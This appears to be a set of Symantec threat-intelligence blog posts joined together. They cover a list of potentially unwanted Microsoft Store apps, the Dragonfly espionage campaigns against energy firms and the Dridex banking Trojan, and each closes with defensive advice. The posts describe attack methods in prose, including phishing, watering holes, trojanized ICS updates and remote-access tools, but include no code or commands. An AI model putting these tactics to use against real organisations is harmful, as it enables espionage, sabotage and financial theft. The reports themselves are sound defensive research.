Symantec and Norton products detect the apps as the following:
PUA.Redpher
List of apps
Table. List of PUAs found on Microsoft Store
App name Store URL Author
Roxy Palace REMOVED FROM STORE donaldgreenleaf1211
DrueckGlueck REMOVED FROM STORE donaldgreenleaf1211
Winline https://www.microsoft.com/en-us/p/winline/9njnz0bcwz1r?activetab=pivot:overviewtab DevelopersTeam 2019
NordicBet https://www.microsoft.com/en-us/p/nordicbet/9p6d8n5l2nlg?activetab=pivot:overviewtab DevelopersTeam 2019
OLIMP APPLICATION REMOVED FROM STORE Aaron188271
Regal Wins REMOVED FROM STORE Aaron188271
Buy Bitcoin. REMOVED FROM STORE JohnJonesapp1112
Coinbase Updates REMOVED FROM STORE JohnJonesapp1112
Ethereum REMOVED FROM STORE JohnJonesapp1112
SportingBet App https://www.microsoft.com/en-us/p/sportingbet-app/9nnwp163h6gd?activetab=pivot:overviewtab ChrisTimothy188271
Wix Updates Application https://www.microsoft.com/en-us/p/wix-updates-application/9p4vrnzq3jkj?activetab=pivot:overviewtab ChrisTimothy188271
Antivirus Avira App REMOVED FROM STORE ChrisLewis19912
Grand National Updates REMOVED FROM STORE MikeDsouzaApp
Slots. https://www.microsoft.com/en-us/p/slots/9ntbcdg2mmvs?activetab=pivot:overviewtab waltersteve1818
OkCupid App https://www.microsoft.com/en-us/p/okcupid-app/9nd0r35c20d2?activetab=pivot:overviewtab waltersteve1818
Sky Bet Updates Action https://www.microsoft.com/en-us/p/sky-bet-updates-action/9pmlj9crkgq7?activetab=pivot:overviewtab MaddocksSis
Norton Antivirus Updates App REMOVED FROM STORE Vladimir Develop
DafaBet App REMOVED FROM STORE Developer System 3D
Bets10 App REMOVED FROM STORE Developer System 3D
Foxy Bingo Games and News App REMOVED FROM STORE leonmat1818
Moon Bingo App REMOVED FROM STORE leonmat1818
Unique Casino https://www.microsoft.com/en-us/p/unique-casino/9p153j64g29z?activetab=pivot:overviewtab marky18281
Betfred Sports https://www.microsoft.com/en-us/p/betfred-sports/9p3mdm4rwmh7 marky18281
Betfred Updates https://www.microsoft.com/en-us/p/betfred-updates/9nzjrz06q2lt?activetab=pivot:overviewtab Kevilum
Bwin Scommesse REMOVED FROM STORE mitchelljordan999
McAfee Antivirus Updates News REMOVED FROM STORE Williamswill1212
Kraken. REMOVED FROM STORE jacobapps2017
888Poker Application REMOVED FROM STORE CharlesDavid91881
Bet365 Updates App REMOVED FROM STORE CharlesDavid91881
bet365 sports app https://www.microsoft.com/en-us/p/bet365-sports-app/9mwrg4l37ktm?activetab=pivot:overviewtab StephanAppsz
casino.com https://www.microsoft.com/en-us/p/casinocom/9mwd36qr7gwg#activetab=pivot:overviewtab StephanAppsz
Gala Bingo Application https://www.microsoft.com/en-us/p/gala-bingo-application/9n0kwf10586v?activetab=pivot:overviewtab NathanMachan
888 Sport Application https://www.microsoft.com/en-us/p/888-sport-application/9nvwcs4d6zql?activetab=pivot:overviewtab Cityvesse
Poker-Stars https://www.microsoft.com/en-us/p/poker-stars/9nz5bfk0nv1l?activetab=pivot:overviewtab Cityvesse
Ratucasino88 Games and News https://www.microsoft.com/en-us/p/ratucasino88-games-and-news/9nqzcb711xl9?activetab=pivot:overviewtab TimothyJack6595
Nossaaposta App https://www.microsoft.com/en-us/p/nossaaposta-app/9pf3kpkqs4ts#activetab=pivot:overviewtab TimothyJack6595
Parx Casino https://www.microsoft.com/en-us/p/parx-casino/9n6mfg0c2hmm?activetab=pivot:overviewtab Alexand Develop
Fortuna Application https://www.microsoft.com/en-us/p/fortuna-application/9nq79cghdnfd?activetab=pivot:overviewtab AllenKevin19929
Bet90 https://www.microsoft.com/en-us/p/bet90/9nw8snjbq3q2#activetab=pivot:overviewtab AllenKevin19929
Allslots. REMOVED FROM STORE johnsonapps2014
Bitstamp App REMOVED FROM STORE RonaldHuffapps
CoinMarketCap Application REMOVED FROM STORE RonaldHuffapps
AFF Dating Updates App https://www.microsoft.com/en-us/p/aff-dating-updates-app/9pjbsm19rdt3#activetab=pivot:overviewtab Dmimty Developer
YouWin App https://www.microsoft.com/en-us/p/youwin-app/9ngpzh3rwrg4#activetab=pivot:overviewtab Dmimty Developer
Boxing App REMOVED FROM STORE ClintSaunders88181
Lottoland https://www.microsoft.com/en-us/p/lottoland/9nz2s1kd3684?activetab=pivot:overviewtab ArcadiyDevelop
Fafafa gold slots https://www.microsoft.com/en-us/p/fafafa-gold-slots/9p1n9f1sbkbj?activetab=pivot:overviewtab ArcadiyDevelop
ASHLEY MADISSON DATING UPDATES APP https://www.microsoft.com/en-us/p/ashley-madisson-dating-updates-app/9mxz2846jdj4?activetab=pivot:overviewtab New Nice Company Dev
Open365 https://www.microsoft.com/en-us/p/open365/9ng9d3z8pm2p?activetab=pivot:overviewtab New Nice Company Dev
Poker. https://www.microsoft.com/en-us/p/poker/9nlql7f55fmg?activetab=pivot:overviewtab HoangVanLoc
eSports Betting https://www.microsoft.com/en-us/p/esport-betting/9pcmtm4d5q96?activetab=pivot:overviewtab HoangVanLoc
Jackpotjoy REMOVED FROM STORE Anthonyturnerapps
Tinder Dating Updates, Tips and Games https://www.microsoft.com/en-us/p/tinder-dating-updates-tips-and-games/9pcmssk14gtj?activetab=pivot:overviewtab Vladimir Develop
Sportium https://www.microsoft.com/en-us/p/sportium/9n4blvr6wb20?activetab=pivot:overviewtab Dmitry Rey Dev
Casitabi カジ旅 https://www.microsoft.com/en-us/p/casitabi-%E3%82%AB%E3%82%B8%E6%97%85/9pcxdv27chql?activetab=pivot:overviewtab Dmitry Rey Dev
Tombola Bingo App https://www.microsoft.com/en-us/p/tombola-bingo-app/9n6cwlppzcsl?activetab=pivot:overviewtab EliotChica
Svenskaspel https://www.microsoft.com/en-us/p/svenskaspel/9nmlf554ct4c?activetab=pivot:overviewtab MarkLawles19920
Betclick https://www.microsoft.com/en-us/p/betclick/9pf48jvkfr3s?activetab=pivot:overviewtab MarkLawles19920
BetVictor Updates https://www.microsoft.com/en-us/p/betvictor-updates/9nd7mt6t8jms?activetab=pivot:overviewtab MinyanRyan
كازينو https://www.microsoft.com/en-us/p/%D9%83%D8%A7%D8%B2%D9%8A%D9%86%D9%88/9mxr2phprtm3#activetab=pivot:overviewtab MinyanRyan
Badoo News and Updates App https://www.microsoft.com/en-us/p/badoo-news-and-updates-app/9nbl12vs4fdb?activetab=pivot:overviewtab olivervapp
1x Bet https://www.microsoft.com/en-us/p/1x-bet/9nr43fdpqcdk#activetab=pivot:overviewtab Benjamin19191
Paddy Sports https://www.microsoft.com/en-us/p/paddy-sports/9nz0gnw5nw5x?activetab=pivot:overviewtab Benjamin19191
Balkan Bet REMOVED FROM STORE Benji19919
Betin Updates https://www.microsoft.com/en-us/p/betin-updates/9njxh679bq3c?activetab=pivot:overviewtab Torresakin
Unibet Games and News https://www.microsoft.com/en-us/p/unibet-games-and-news/9pfv66vqc9f6?activetab=pivot:overviewtab Torresakin
10Bet https://www.microsoft.com/en-us/p/10bet/9pm6qv486wpb?activetab=pivot:overviewtab Podyanou
Global Poker https://www.microsoft.com/en-us/p/global-poker/9n3zc1drslls?activetab=pivot:overviewtab Timothy17726
BLENDR HOOK UP DATING UPDATES https://www.microsoft.com/en-us/p/blendr-hook-up-dating-updates/9p6lg1v0wthr?activetab=pivot:overviewtab Timothy17726
BETBOO https://www.microsoft.com/en-us/p/betboo/9p6nbtj3wm7l?activetab=pivot:overviewtab Dev Dmitry Games
Monopoly Casino https://www.microsoft.com/en-us/p/monopoly-casino/9n9p2pl6r4m2?activetab=pivot:overviewtab Dev Dmitry Games
William Hill Sports Bet https://www.microsoft.com/en-us/p/william-hill-sports-bet/9nblggh5jqnk?activetab=pivot%3Aoverviewtab Liamerlass
William Hill Sportbook. REMOVED FROM STORE Ez Developer Co
22Bet REMOVED FROM STORE PeterChrisAppz
Grosvenor Casino App REMOVED FROM STORE JamesIssue
Huuuge Casino Games Updates REMOVED FROM STORE RossApps1991
Grindr Updates REMOVED FROM STORE RossApps1991
Huuuge Games Application https://www.microsoft.com/en-us/p/huuuge-games-application/9nm2mvbjhv5k NickNelson1199
Winamax App https://www.microsoft.com/en-us/p/winamax-app/9pl602zmzl44#activetab=pivot:overviewtab Dev ACCS dEVELOPER
Casino Metropol Updates https://www.microsoft.com/en-us/p/casino-metropol-updates/9ndr4g5z5rkj?activetab=pivot:overviewtab Dev ACCS dEVELOPER
Norton Free Antivirus Updates Guide REMOVED FROM STORE TimothyJack18818
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Dragonfly: Western Energy Companies Under Sabotage Threat
Attack group targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and energy industry industrial equipment providers.
An ongoing cyberespionage campaign against a range of targets, mainly in the energy sector, gave attackers the ability to mount sabotage operations against their victims. The attackers, known to Symantec as Dragonfly, managed to compromise a number of strategically important organizations for spying purposes and, if they had used the sabotage capabilities open to them, could have caused damage or disruption to energy supplies in affected countries.
Among the targets of Dragonfly were energy grid operators, major electricity generation firms, petroleum pipeline operators, and energy industry industrial equipment providers. The majority of the victims were located in the United States, Spain, France, Italy, Germany, Turkey, and Poland.
The Dragonfly group is well resourced, with a range of malware tools at its disposal and is capable of launching attacks through a number of different vectors. Its most ambitious attack campaign saw it compromise a number of industrial control system (ICS) equipment providers, infecting their software with a remote access-type Trojan. This caused companies to install the malware when downloading software updates for computers running ICS equipment. These infections not only gave the attackers a beachhead in the targeted organizations’ networks, but also gave them the means to mount sabotage operations against infected ICS computers.
This campaign follows in the footsteps of Stuxnet, which was the first known major malware campaign to target ICS systems. While Stuxnet was narrowly targeted at the Iranian nuclear program and had sabotage as its primary goal, Dragonfly appears to have a much broader focus with espionage and persistent access as its current objective with sabotage as an optional capability if required.
In addition to compromising ICS software, Dragonfly has used spam email campaigns and watering hole attacks to infect targeted organizations. The group has used two main malware tools: Backdoor.Oldrea and Trojan.Karagany. The former appears to be a custom piece of malware, either written by or for the attackers.
Prior to publication, Symantec notified affected victims and relevant national authorities, such as Computer Emergency Response Centers (CERTs) that handle and respond to Internet security incidents.
Background
The Dragonfly group, which is also known by other vendors as Energetic Bear, appears to have been in operation since at least 2011 and may have been active even longer than that. Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus mainly to US and European energy firms in early 2013.
The campaign against the European and American energy sector quickly expanded in scope. The group initially began sending malware in phishing emails to personnel in target firms. Later, the group added watering hole attacks to its offensive, compromising websites likely to be visited by those working in energy in order to redirect them to websites hosting an exploit kit. The exploit kit in turn delivered malware to the victim’s computer. The third phase of the campaign was the Trojanizing of legitimate software bundles belonging to three different ICS equipment manufacturers.
Dragonfly bears the hallmarks of a state-sponsored operation, displaying a high degree of technical capability. The group is able to mount attacks through multiple vectors and compromise numerous third party websites in the process. Dragonfly has targeted multiple organizations in the energy sector over a long period of time. Its current main motive appears to be cyberespionage, with potential for sabotage a definite secondary capability.
Analysis of the compilation timestamps on the malware used by the attackers indicate that the group mostly worked between Monday and Friday, with activity mainly concentrated in a nine-hour period that corresponded to a 9am to 6pm working day in the UTC +4 time zone. Based on this information, it is likely the attackers are based in Eastern Europe.
Figure. Top 10 countries by active infections (where attackers stole information from infected computers)
Tools employed
Dragonfly uses two main pieces of malware in its attacks. Both are remote access tool (RAT) type malware which provide the attackers with access and control of compromised computers. Dragonfly’s favored malware tool is Backdoor.Oldrea, which is also known as Havex or the Energetic Bear RAT. Oldrea acts as a back door for the attackers on to the victim’s computer, allowing them to extract data and install further malware.
Oldrea appears to be custom malware, either written by the group itself or created for it. This provides some indication of the capabilities and resources behind the Dragonfly group.
Once installed on a victim’s computer, Oldrea gathers system information, along with lists of files, programs installed, and root of available drives. It will also extract data from the computer’s Outlook address book and VPN configuration files. This data is then written to a temporary file in an encrypted format before being sent to a remote command-and-control (C&C) server controlled by the attackers.
The majority of C&C servers appear to be hosted on compromised servers running content management systems, indicating that the attackers may have used the same exploit to gain control of each server. Oldrea has a basic control panel which allows an authenticated user to download a compressed version of the stolen data for each particular victim.
The second main tool used by Dragonfly is Trojan.Karagany. Unlike Oldrea, Karagany was available on the underground market. The source code for version 1 of Karagany was leaked in 2010. Symantec believes that Dragonfly may have taken this source code and modified it for its own use. This version is detected by Symantec as Trojan.Karagany!gen1.
Karagany is capable of uploading stolen data, downloading new files, and running executable files on an infected computer. It is also capable of running additional plugins, such as tools for collecting passwords, taking screenshots, and cataloging documents on infected computers.
Symantec found that the majority of computers compromised by the attackers were infected with Oldrea. Karagany was only used in around 5 percent of infections. The two pieces of malware are similar in functionality and what prompts the attackers to choose one tool over another remains unknown.
Multiple attack vectors
The Dragonfly group has used at least three infection tactics against targets in the energy sector. The earliest method was an email campaign, which saw selected executives and senior employees in target companies receive emails containing a malicious PDF attachment. Infected emails had one of two subject lines: “The account” or “Settlement of delivery problem”. All of the emails were from a single Gmail address.
The spam campaign began in February 2013 and continued into June 2013. Symantec identified seven different organizations targeted in this campaign. The number of emails sent to each organization ranged from one to 84.
The attackers then shifted their focus to watering hole attacks, comprising a number of energy-related websites and injecting an iframe into each which redirected visitors to another compromised legitimate website hosting the Lightsout exploit kit. Lightsout exploits either Java or Internet Explorer in order to drop Oldrea or Karagany on the victim’s computer. The fact that the attackers compromised multiple legitimate websites for each stage of the operation is further evidence that the group has strong technical capabilities.
In September 2013, Dragonfly began using a new version of this exploit kit, known as the Hello exploit kit. The landing page for this kit contains JavaScript which fingerprints the system, identifying installed browser plugins. The victim is then redirected to a URL which in turn determines the best exploit to use based on the information collected.
Trojanized software
The most ambitious attack vector used by Dragonfly was the compromise of a number of legitimate software packages. Three different ICS equipment providers were targeted and malware was inserted into the software bundles they had made available for download on their websites. All three companies made equipment that is used in a number of industrial sectors, including energy.
The first identified Trojanized software was a product used to provide VPN access to programmable logic controller (PLC) type devices. The vendor discovered the attack shortly after it was mounted, but there had already been 250 unique downloads of the compromised software.
The second company to be compromised was a European manufacturer of specialist PLC type devices. In this instance, a software package containing a driver for one of its devices was compromised. Symantec estimates that the Trojanized software was available for download for at least six weeks in June and July 2013.
The third firm attacked was a European company which develops systems to manage wind turbines, biogas plants, and other energy infrastructure. Symantec believes that compromised software may have been available for download for approximately ten days in April 2014.
The Dragonfly group is technically adept and able to think strategically. Given the size of some of its targets, the group found a “soft underbelly” by compromising their suppliers, which are invariably smaller, less protected companies.
Protection
Symantec has the following detections in place that will protect customers running up to date versions of our products from the malware used in these attacks:
Antivirus detections
Backdoor.Oldrea
Trojan.Karagany
Trojan.Karagany!gen1
Intrusion Prevention Signatures
Web Attack: Lightsout Exploit Kit
Web Attack: Lightsout Toolkit Website 4
For further technical details on the Dragonfly attacks, please read our whitepaper.
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Dragonfly: Western energy sector targeted by sophisticated attack group
Resurgence in energy sector attacks, with the potential for sabotage, linked to re-emergence of Dragonfly cyber espionage group.
The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations. The group behind these attacks is known as Dragonfly. The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014. This “Dragonfly 2.0” campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group.
The energy sector has become an area of increased interest to cyber attackers over the past two years. Most notably, disruptions to Ukraine’s power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people. In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers.
The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so. Symantec customers are protected against the activities of the Dragonfly group.
Figure 1. An outline of the Dragonfly group's activities in its most recent campaign
Dragonfly 2.0
Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2015 and has identified a distinct increase in activity in 2017.
Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries. The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign.
As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victim’s network, including malicious emails, watering hole attacks, and Trojanized software.
The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Year’s Eve party to targets in the energy sector in December 2015.
The group conducted further targeted malicious email campaigns during 2016 and into 2017. The emails contained very specific content related to the energy sector, as well as some related to general business concerns. Once opened, the attached malicious document would attempt to leak victims’ network credentials to a server outside of the targeted organization.
In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery. Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.Phisherly), to steal victims’ credentials via a template injection attack. This toolkit became generally available on GitHub in late 2016,
As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector.
The stolen credentials were then used in follow-up attacks against the target organizations. In one instance, after a victim visited one of the compromised servers, Backdoor.Goodor was installed on their machine via PowerShell 11 days later. Backdoor.Goodor provides the attackers with remote access to the victim’s machine.
In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns. In the 2016 and 2017 campaigns the group is using the evasion framework Shellter in order to develop Trojanized applications. In particular, Backdoor.Dorshel was delivered as a trojanized version of standard Windows applications.
Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networks—perhaps by using social engineering to convince a victim they needed to download an update for their Flash player. Shortly after visiting specific URLs, a file named “install_flash_player.exe” was seen on victim computers, followed shortly by the Trojan.Karagany.B backdoor.
Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary. Goodor, Karagany.B, and Dorshel are examples of backdoors used, along with Trojan.Heriplor.
"Western energy sector at risk from ongoing cyber attacks, with potential for sabotage #dragonfly"
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Strong links with earlier campaigns
There are a number of indicators linking recent activity with earlier Dragonfly campaigns. In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014.
Trojan.Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks. This custom malware is not available on the black market, and has not been observed being used by any other known attack groups. It has only ever been seen being used in attacks against targets in the energy sector.
Trojan.Karagany.B is an evolution of Trojan.Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans. Trojan.Karagny.B doesn’t appear to be widely available, and has been consistently observed being used in attacks against the energy sector. However, the earlier Trojan.Karagany was leaked on underground markets, so its use by Dragonfly is not necessarily exclusive.
Figure 2. Links between current and earlier Dragonfly cyber attack campaigns
Potential for sabotage
Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns. The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads.
The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations. The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future.
The most concerning evidence of this is in their use of screen captures. In one particular instance the attackers used a clear format for naming the screen capture files, [machine description and location].[organization name]. The string “cntrl” (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems.
"Numerous organizations breached in six-year campaign against the energy sector #dragonfly"
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Clues or false flags?
While Symantec cannot definitively determine Dragonfly’s origins, this is clearly an accomplished attack group. It is capable of compromising targeted organizations through a variety of methods; can steal credentials to traverse targeted networks; and has a range of malware tools available to it, some of which appear to have been custom developed. Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year.
Some of the group’s activity appears to be aimed at making it more difficult to determine who precisely is behind it:
The attackers used more generally available malware and “living off the land” tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult. The Phishery toolkit became available on Github in 2016, and a tool used by the group—Screenutil—also appears to use some code from CodeProject.
The attackers also did not use any zero days. As with the group’s use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources.
Some code strings in the malware were in Russian. However, some were also in French, which indicates that one of these languages may be a false flag.
Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it.
What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems. What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so.
Protection
Symantec customers are protected against Dragonfly activity, Symantec has also made efforts to notify identified targets of recent Dragonfly activity.
Symantec has the following specific detections in place for the threats called out in this blog:
Trojan.Phisherly
Backdoor.Goodor
Trojan.Karagany.B
Backdoor.Dorshel
Trojan.Heriplor
Trojan.Listrix
Trojan.Karagany
Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity:
Figure.3 Indicators of Compromise to assist in identifying Dragonfly activity
Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary.
Best Practices
Dragonfly relies heavily on stolen credentials to compromise a network. Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the number of administrative-level profiles created. Employ two-factor authentication (such as Symantec VIP) to provide an additional layer of security, preventing any stolen credentials from being used by attackers.
Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network.
Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within an organization.
Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet.
Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that haven’t been solicited. A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block email-borne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec Messaging Gateway’s Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user.
Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0. Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats.
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Dridex: Financial Trojan aggressively spread in millions of spam emails each day
Attackers put significant effort into disguising their spam campaigns as legitimate emails.
Tidal waves of spam are fuelling the growth of the Dridex Trojan, which has emerged as one of the most dangerous financial threats over the past year. The sheer size of the spam campaigns spreading Dridex (detected by Symantec as W32.Cridex) can sometimes overwhelm organizations hit by them.
Symantec analysis of recent Dridex spam campaigns found that they are operating on a vast scale, with millions of new emails being sent out on a daily basis. The attackers behind Dridex are disciplined and professional. They operate on a standard working week, continually refine the malware, and put significant effort into disguising their spam campaigns as legitimate emails.
Spam campaigns
As detailed in a new Symantec whitepaper published today, at least 145 Dridex spam campaigns were observed during one sample 10-week period. The average number of emails blocked by Symantec per campaign was 271,019, indicating that the total number of emails being sent every day runs to millions.
Almost three quarters (74 percent) of Dridex spam campaigns used real company names in the sender address and frequently in the email text. The vast majority of spam campaigns were disguised as financial emails, such as invoices, receipts, and orders. The spam was heavily focused on English speakers, with the majority of emails purporting to come from English-speaking companies.
Victims
Dridex is mainly used to steal banking credentials. The malware is configured to target the customers of nearly 300 different organizations in over 40 regions.
Dridex is heavily focused on customers of financial institutions in wealthy, English-speaking countries, with the majority of targeted organizations located in these countries. The attackers also prioritized other European nations, along with a range of Asia-Pacific regions.
Prevalence
The number of Dridex infections detected by Symantec rose during 2015. Between January and April, there were less than 2,000 infections per month. Infection numbers spiked considerably in the following months, hitting almost 16,000 in June before dropping and stabilizing at a rate of 3,000 to 5,000 per month in the final quarter.
Figure 1. Dridex infections detected during 2015
Dridex infections were detected in a wide range of regions during 2015. English-speaking countries, such as the US, UK, and Australia experienced high rates of infection. This was due to how the attackers configured the malware to attack the large number of banks in these regions, as well as the number of English-language spam campaigns spreading the Dridex Trojan. Western European countries, including France, Germany, Austria, and Switzerland also experienced high infection rates.
Continuing threat
The level of activity surrounding Dridex indicates that a large cybercrime group is behind the malware. The US Department of Justice has said that the botnet is “run by criminals in Moldova and elsewhere.”
In October 2015, an international law enforcement operation saw one man charged alongside a coordinated effort to sinkhole thousands of compromised computers, cutting them off from the botnet’s control. It appears this may have only been a partial success as Dridex continues to propagate, indicating that many key elements of the operation are still functioning. The group is likely to continue to pose a serious threat during 2016.
Protection
A multi-layered defense strategy maximizes protection against aggressive threats such as Dridex.
The following Symantec and Norton products will help guard against infection:
Email protection
Using an email security solution should remove the chance of you accidentally opening malicious email and malicious attachments in the first place.
Email-filtering services such as Symantec Email Security.cloud can help to filter out potential targeted attack emails before they can reach users.
Symantec Messaging Gateway’s Disarm technology can also protect computers from this threat by removing the malicious content from the attached documents before they even reach the user.
Antivirus detections
W32.Cridex
W32.Cridex!gen1
W32.Cridex!gen2
W32.Cridex!gen4
W32.Cridex!gen5
W32.Cridex.B
W64.Cridex
Trojan.Cridex
VBS.Downloader.Trojan
W97M.Downloader
JS.Downloader
Intrusion prevention system detections
System Infected: Trojan.Cridex Activity
System Infected: Trojan.Cridex Activity 2
System Infected: Trojan.Cridex Activity 3
System Infected: Trojan.Cridex Activity 5
System Infected: Trojan.Cridex Activity 6
System Infected: W32.Cridex Worm Activity 4
System Infected: W32.Cridex Worm Activity 6
System Infected: W32.Cridex Worm Activity 8
System Infected: W64.Cridex Activity
Web Attack: Cridex.B Activity
Tips for businesses and consumers
Always keep your security software up to date to protect yourself against any new variants of this malware.
Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities that could be exploited by attackers.
Exercise caution when conducting online banking sessions, in particular if the behavior or appearance of your bank’s website changes.
Delete any suspicious-looking emails you receive, especially if they contain links or attachments.
Be extremely wary of any Microsoft Office email attachment that advises you to enable macros to view its content. Unless you are absolutely sure that this is a genuine email from a trusted source, do not enable macros and instead immediately delete the email.
If you suspect a Dridex infection, immediately change your online banking account passwords using an uninfected system and contact your bank to alert them to look for any potentially fraudulent transactions.
For more information and a detailed analysis of the Dridex threat, read our whitepaper:
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Dridex takedown sinks botnet infections
Takedown may seriously disrupt a cybercrime enterprise which has stolen tens of millions of dollars from victims worldwide.
An international law enforcement crackdown against the Dridex botnet has seen one man charged and a coordinated effort to sinkhole thousands of compromised computers, cutting them off from the botnet’s control. The operation, which involved the FBI in the US, the UK National Crime Agency, and a number of other international agencies, may seriously disrupt a cybercrime enterprise which has stolen tens of millions of dollars from victims worldwide.
Potent financial threat
Dridex, which is detected by Symantec as W32.Cridex and also known as Bugat, is a financial threat that adds the infected computer to a botnet and injects itself into the victim’s web browser in order to steal information, including banking credentials.
The malware is usually spread through phishing emails designed to appear to come from legitimate sources in order to lure the victim into opening a malicious attachment. It is also capable of self-replication by copying itself to mapped network drives and attached local storage such as USB keys. As is common with most financial attackers, the Dridex group regularly changed its tactics and most recently has been observed using malicious macros in Microsoft Office documents attached to emails to infect computers.
As reported in Symantec’s State of financial Trojans 2014 whitepaper, Dridex was the third-largest financial threat last year, accounting for some 29,000 detections. Nevertheless, this represented a decrease, with the number of infections down 88 percent since 2012.
Recent telemetry suggests that the threat has enjoyed something of a resurgence in activity, with detections beginning to increase again in the past few months.
Figure 1. Dridex detections during 2015
The attackers behind Dridex have targeted a broad range of countries. The largest number of detections in 2015 was in the US. This was followed by Japan and Germany, with significant numbers of infections also seen in the UK, Canada, Australia, and a number of other European countries.
Figure 2. Top ten countries by number of Dridex detections in 2015
Law enforcement swoop
Yesterday’s operation saw a 30-year-old Moldovan man charged by prosecutors in the US for offences including criminal conspiracy, unauthorized computer access with intent to defraud, damaging a computer, wire fraud, and bank fraud. His extradition to the US is currently being sought following his arrest in Cyprus in August.
The FBI also obtained an injunction permitting it to start sinkholing Dridex infections by redirecting traffic from infected computers away from command-and-control (C&C) servers to benign substitute servers. This sinkholing operation is also being supported by the UK National Crime Agency.
This is the latest in a series of recent takedowns against major financial fraud cybercrime groups, following earlier operations against Gameover Zeus, Shylock, and Ramnit.
Protection
Symantec and Norton products have the following protections against Dridex:
Antivirus
W32.Cridex
W32.Cridex!gen1
W32.Cridex!gen2
W32.Cridex!gen4
W32.Cridex!gen5
W32.Cridex.B
W64.Cridex
Trojan.Cridex
Intrusion Prevention System
System Infected: Trojan.Cridex Activity
System Infected: Trojan.Cridex Activity 2
System Infected: Trojan.Cridex Activity 3
System Infected: Trojan.Cridex Activity 5
System Infected: Trojan.Cridex Activity 6
System Infected: W32.Cridex Worm Activity 4
System Infected: W32.Cridex Worm Activity 6
System Infected: W32.Cridex Worm Activity 8
System Infected: W64.Cridex Activity
Web Attack: Cridex.B Activity
Mitigation
Use a robust security suite, such as Symantec Endpoint Protection or Norton Security, and keep it updated.
Delete any suspicious-looking emails you receive, especially if they include links or attachments. Don’t even open them, just delete them. If they purport to come from legitimate organizations, verify with the organization in question first.
Disable macros in Microsoft Office applications to prevent macros from running when documents are opened.
Using an email security solution should remove the chance of you accidentally opening malicious email and malicious attachments in the first place.
If you suspect Dridex infection, immediately change your online banking account passwords using a different computer and contact your bank to alert it to any fraudulent transactions taking place. Do the same for any account that you may have accessed using your infected computer.
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Driving Customer Success with Symantec Support
Symantec Support unveils a new site that makes it easier and more intuitive for customers to find what they need and any help they want
